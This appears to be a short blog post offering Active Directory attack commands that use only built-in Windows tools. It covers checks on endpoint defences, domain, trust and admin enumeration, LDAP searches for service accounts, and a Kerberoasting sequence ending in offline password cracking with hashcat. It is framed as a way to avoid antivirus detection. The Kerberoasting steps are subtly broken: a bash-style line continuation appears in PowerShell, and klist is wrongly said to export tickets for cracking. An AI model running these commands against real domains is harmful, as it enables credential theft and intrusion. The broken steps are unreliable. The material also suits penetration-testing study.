Active Directory Enumeration & Attacks -- Living off the Land

Originally published on Medium

Overview

Living off the Land (LOTL) techniques use only built-in Windows tools for Active Directory enumeration and attacks -- no external binaries, no downloads, no AV triggers.

Host Security Configuration

# Check Windows Defender status
Get-MpComputerStatus | Select-Object AMProductVersion, RealTimeProtectionEnabled

# Check AppLocker rules
Get-AppLockerPolicy -Effective | Select -ExpandProperty RuleCollections

# Check Firewall profiles
Get-NetFirewallProfile | Select Name, Enabled

Domain Enumeration

# Current domain info
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

# Domain controllers
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().DomainControllers

# Domain trusts
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

# Forest info
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()

User & Group Enumeration

# All domain users
net user /domain

# Domain admins
net group "Domain Admins" /domain

# Enterprise admins
net group "Enterprise Admins" /domain

LDAP Queries via DirectorySearcher

# Find all computers
$searcher = New-Object DirectoryServices.DirectorySearcher
$searcher.Filter = "(objectClass=computer)"
$searcher.FindAll() | ForEach-Object { $_.Properties["cn"] }

# Find service accounts (SPNs)
$searcher.Filter = "(&(objectClass=user)(servicePrincipalName=*))"
$searcher.FindAll() | ForEach-Object {
    $_.Properties["samaccountname"]
    $_.Properties["serviceprincipalname"]
}

Kerberoasting (No Tools)

# Request TGS tickets for service accounts
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken \
  -ArgumentList "<SPN>"

# Export tickets from memory
klist

# Then crack offline with hashcat
hashcat -m 13100 tickets.txt wordlist.txt

Conclusion

LOTL techniques are powerful because they blend in with normal administrative activity. Defenders should focus on behavioral detection and command-line logging to catch these techniques.